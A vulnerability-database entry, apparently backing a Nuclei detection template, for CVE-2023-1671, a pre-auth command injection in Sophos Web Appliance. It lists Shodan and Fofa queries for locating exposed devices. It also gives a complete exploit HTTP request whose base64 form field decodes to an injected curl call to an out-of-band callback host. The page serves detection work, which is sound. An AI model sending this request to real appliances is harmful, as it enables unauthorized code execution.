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CVE-2023-1671: Sophos Web Appliance - Remote Code Execution

TitleSophos Web Appliance - Remote Code Execution
AuthorCo5mos
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationApply the latest security patches or updates provided by Sophos to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.94296
CVE IDCVE-2023-1671
CWE IDCWE-77
Shodan Querytitle:"Sophos Web Appliance"http.title:"sophos web appliance"http.favicon.hash:-893681401
Fofa Querytitle="Sophos Web Appliance"title="sophos web appliance"icon_hash=-893681401
Tags cve2023 cve packetstorm rce sophos oast kev vkev vuln

🔍 Vulnerability Description

A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code.

🌐 HTTP Request

POST /index.php?c=blocked&action=continue HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 224
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

args_reason=filetypewarn&url=38EtDzZYlL1diwMMtuCnQ2jfE9n&filetype=38EtDzZYlL1diwMMtuCnQ2jfE9n&user=38EtDzZYlL1diwMMtuCnQ2jfE9n&user_encoded=JztjdXJsIGh0dHA6Ly9kNWprZ3VobGUwbzRvZzZzZzQ2MDFjaXJ5ajRlODdjejcub2FzdC5vbmxpbmUgIw==

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1671.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-1671.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A